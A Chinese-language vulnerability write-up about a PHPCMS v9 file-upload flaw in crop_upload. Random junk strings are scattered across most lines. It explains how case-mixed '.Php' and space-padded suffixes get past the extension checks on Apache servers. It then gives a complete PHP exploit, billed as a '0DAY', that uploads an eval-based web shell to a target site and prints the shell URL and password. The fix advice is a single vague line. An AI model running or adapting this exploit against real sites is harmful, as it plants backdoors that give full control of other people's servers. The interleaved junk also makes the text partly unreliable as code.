漏洞类型: 文件上传导致任意代码执行& ^$ }: ~( ]" E# U
5 H# w, s7 S8 v2 u" F简要描述:
8 ^, R5 S; a% W h
# |( D9 J" K. x) K0 S& Ophpcms v9 getshell (apache)
& H. W. g' g/ y) X& ~详细说明:. j6 D: } @. i9 m' w4 L
9 ^' V9 r E5 m; ?9 n5 A m
漏洞文件:phpcms\modules\attachment\attachments.php
" H3 F2 C9 ?7 g1 C4 J. z
9 w% H; x+ c8 U* a! t5 \& U5 xpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
& u0 ^! s' u- c后缀检测:phpcms\modules\attachment\functions\global.func.php: Z9 B ? k* [- v" K+ ` n0 X. V
. u# X0 m. I1 z" p
0 b2 T$ }7 o$ D' o" p6 f# `/ W9 S
8 G+ P/ V- r9 p7 c4 L9 kfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
' W' e. Y5 O+ A( O& k/ D8 r$ l! E7 o( A) t# ]
关键函数:
$ [8 H; Q6 K, B1 h* W% L2 D& w3 L! {: n$ N8 R: t( `
3 n7 A: I9 F$ _" f) F) }$ J
" F. C \! k- t3 U2 `4 H# z, q
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } 6 w% B# ]/ @& }# l p: c; y% @" ], }
( S: Z6 Q3 X* W0 V6 W8 `
Fileext函数是对文件后缀名的提取。
8 `3 s8 @8 m& E) v1 O: L+ i! c根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php* ]$ ]6 q8 p; X* Z. u% s/ H. N! T+ @) c
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。) G* ~, S. k0 M+ N) L; C
我们回到public function crop_upload() 函数中, b5 g4 R5 t' r( h
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();$ Q {/ [" q6 Y7 f% G5 S$ A
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
2 y; m6 v2 `9 q- x3 i# O这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
6 W: T3 @% A- h9 R0 A经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。! r1 C* R2 s/ e
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。" s/ o. N) X7 J& L- j+ v, D
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
3 p/ Z4 B& O, g2 A* K! j漏洞证明:
\4 X& m( R+ }6 O5 V) B. y
4 K$ K# `0 ^, _! Iexp:
' {0 y7 F- D$ g7 k b% f! I( v8 k8 I1 n0 n, `& D" ]- a
<?php$ e* [& j! S+ h! C
error_reporting(E_ERROR);
! L- K# a) I3 E o( z( ]set_time_limit(0);3 U, r% `+ j! @- y
$pass="ln";
3 N' u4 O' I" L6 cprint_r('
+ @( E1 D" W# Z7 ~+---------------------------------------------------------------------------+( M; x: |( T% D& A7 r9 T; L$ y
PHPCms V9 GETSHELL 0DAY
# G9 V2 V$ q! _5 u6 P$ A. {code by L.N.7 y7 g9 o4 W8 d% J+ |1 g. i4 @& }
! w1 D; |% O9 R4 B% F
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net1 S4 V) u6 C4 |: Q0 P
+---------------------------------------------------------------------------+4 n$ O& a1 [* h5 R4 ?3 L
');
! n' `/ f: F3 I4 o9 i- fif ($argc < 2) {- q4 K6 y2 k3 v5 R- G/ h
print_r('
5 D, b( m; y; a9 w9 C' M! }% {+---------------------------------------------------------------------------+7 G E- M% c& S9 B- q
Usage: php '.$argv[0].' url path2 U) i, [) o4 ~' u
( _5 p5 ~0 \0 P3 k
Example:
Z6 T! N7 {7 X" L1.php '.$argv[0].' lanu.sinaapp.com
# a W- N! K5 W6 S2.php '.$argv[0].' lanu.sinaapp.com /phpcms8 U \* w7 e, f8 t% s0 `% Z
+---------------------------------------------------------------------------+) n. |" y$ Q) p" U3 _% {
');
6 n4 f& x/ c+ c, \1 F% Bexit;
6 e0 g4 }3 j9 L+ X, Y. l}
h; P! i* c% H: v7 W" O' }5 |% ~) e9 ^2 O. ~" P
$url = $argv[1];
; K2 ~7 r- x3 `9 G9 n8 [$path = $argv[2];
: w$ U& x3 K0 ^; o' [$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
9 y7 I7 E3 p& B F. V1 n2 H$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';$ Y% t% t. h& d, Y* r; q- ~7 a/ W
if($ret=Create_dir($url,$path))
3 V5 X7 j& ]; l* b$ ~{
. Z9 {" ?8 A# }//echo $ret;( I/ D7 _: A" L l2 E
$pattern = "|Server:[^,]+?|U";: t+ P8 c0 ^6 u" u
preg_match_all($pattern, $ret, $matches);
) Q) U3 k, W. a( w1 aif($matches[0][0])6 Y {, Q! u) \% X( @
{
) U7 W" Z" `5 c* [if(strpos($matches[0][0],'Apache') == false)
- h! ]8 a, L; D, Q9 N* Z2 k# a: i{
! x; }2 j) `/ A: D+ V/ C& } I7 h% |echo "\n亲!此网站不是apache的网站。\n";exit;
) ~- ~) o. A1 t3 f# x} C2 J7 ]0 L9 L i; t$ P9 k
}' i6 F3 x4 U- H* \5 _ @0 Q5 }9 k
$ret = GetShell($url,$phpshell,$path,$file);' X6 }% h" U8 `
$pattern = "|http:\/\/[^,]+?\.,?|U";6 s5 ~- H, r2 p$ e1 n p
preg_match_all($pattern, $ret, $matches);: T) L2 I/ w6 V+ W4 e2 d0 c
if($matches[0][0])
, k+ f- t- B/ W{
# F2 T$ e: ^2 P0 t6 uecho "\n".'密码为: '.$pass."\n";
5 \7 J4 P U" ~/ W( kecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, |$ [& E) U8 j- P}
8 E9 \1 z( C2 G9 P' O5 A( z2 lelse
9 o/ t" n3 P% K& T$ G% Z8 n{' R4 S6 r# @! H% f- l$ D8 E9 _8 }
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";$ C0 n% f; m0 U. h
preg_match_all($pattern, $ret, $matches);, B6 T* N9 U: X9 R* Y0 ~
if($matches[0][0])5 t% V% m* ?( H8 i! ]
{: _. |5 ?5 k8 B- b. g1 |# L4 P" S
echo "\n".'密码为: '.$pass."\n";
: l" Q' }- ]. G) ^echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;. P+ _. Z$ M0 |& I! Z8 l
}
8 ~; K [) ^" N w# @else
# k: G% A1 G& u, w& a8 C$ j{3 W" o, f, P3 I6 A- T) w
echo "\r\n没得到!\n";exit;4 X6 u- R1 h f/ C
}# t7 G' J+ a" u. b Z" u
}# C9 M7 `/ a- e5 O4 g
}9 }) Z/ Y; d/ A; T) l$ i% W8 D2 B
: M: x' T# g% }% o. P @: a
function GetShell($url,$shell,$path,$js)
1 w) }! y, m( z# n& N. Z% n{
; \3 ^7 Z! A* ~$ P& v& T$content =$shell;& n8 R3 f7 S R- U D, {" n
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
9 @- {+ U2 d$ X! B% X$data .= "Host: ".$url."\r\n";
" q7 i/ U; ?1 J* m' }, z; |$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";* r) Y2 k5 l H+ d, |
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";/ u( V% s) I' T, T$ I/ {1 y
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";5 n9 V3 A f. A: _" S. M9 ?/ `' S' |
$data .= "Connection: close\r\n";
' t+ f9 C8 ^$ ~1 o$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" h# s3 O- W1 {, `
$data .= $content."\r\n";* X6 `5 X9 Z6 \0 R- c9 M/ U* G" ?
$ock=fsockopen($url,80);) B7 |/ I- h+ }( G
if (!$ock): U9 H5 f; [9 |) e* x
{
0 ~' U. a( X- E8 b1 \" I3 ]echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;; G' ^- L; T6 ?8 ]6 C" p0 z6 `" Z$ B
}; o2 x, D3 w3 M9 r8 \
else
1 Y/ u- U& q% d4 U) q: t{
2 n5 w( z! d* F& I$ w/ zfwrite($ock,$data);7 e- V5 O- Q- B' c% Q+ @ s) C
$resp = '';
) b) s: n# `& l) zwhile (!feof($ock))* g9 ^2 E! a. y9 e
{
3 v& D. c1 w% w$ W/ F$resp.=fread($ock, 1024);
+ U$ V; E8 ?7 n}' y3 |( k' K2 k8 a/ L
return $resp;
# P% m" y2 c ^2 Y8 m) @% H}
% r2 W* I7 x9 J/ K! ^* C$ v" z}
2 \; P* V/ T0 Q# x
- h, u" B! T' S5 rfunction Create_dir($url,$path='')1 ~+ ^3 m7 S6 [+ J+ I
{
1 K$ I4 O8 K% `$content ='I love you';
! g' D$ k2 ^: W" \4 ^$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
6 e" Z- \* U9 G$data .= "Host: ".$url."\r\n";
; }% J/ g/ G3 i$ j v$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
! {% x! S' ? b" U, @9 B$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";+ g. l" v# R" B P1 g# ~- V, n' l
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% a+ X; n9 V! [2 P$data .= "Connection: close\r\n";
$ e3 g U F$ W* l5 [! k/ D$data .= "Content-Length: ".strlen($content)."\r\n\r\n";* d3 A' q; e; T1 }2 V
$data .= $content."\r\n";0 Q8 U0 I9 _$ z# p
$ock=fsockopen($url,80);. |( u8 f% ^3 u/ b$ d! H3 z: [3 R
if (!$ock)
2 X* ?) C8 y3 D# g; C* b: f9 @{2 w2 o3 G; X0 W% Q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 K7 p2 T, @2 l K) [7 b. t9 e}
$ r6 F s2 U, x: ^# x3 l0 }fwrite($ock,$data);! b4 y$ {- _( b. ?
$resp = '';
- `2 C6 q* G' w9 {: I6 y( {while (!feof($ock))
' @7 E0 S7 m( D, d; q4 S% P{
2 U/ R# ?! L/ d4 @, [( `2 c+ v$resp.=fread($ock, 1024);9 x1 k2 f% C. h1 J G: K5 f9 p
}
8 \! Y7 k; x0 Preturn $resp;
/ Y F( h( B3 R& ^7 O# S( Z}/ i( X# Z0 ^2 Y& T+ k& h
?> 7 O0 l- G9 [# n
: R% j( {7 p& m( F) v9 j$ s- |
修复方案:# K& w7 N s* J, T9 {* |" k/ M
Y! c% I/ ` {2 F
过滤过滤再过滤
, |7 L1 I9 m. g" o. G* z3 t* {
: u, ~( m+ d5 q1 u2 E) x |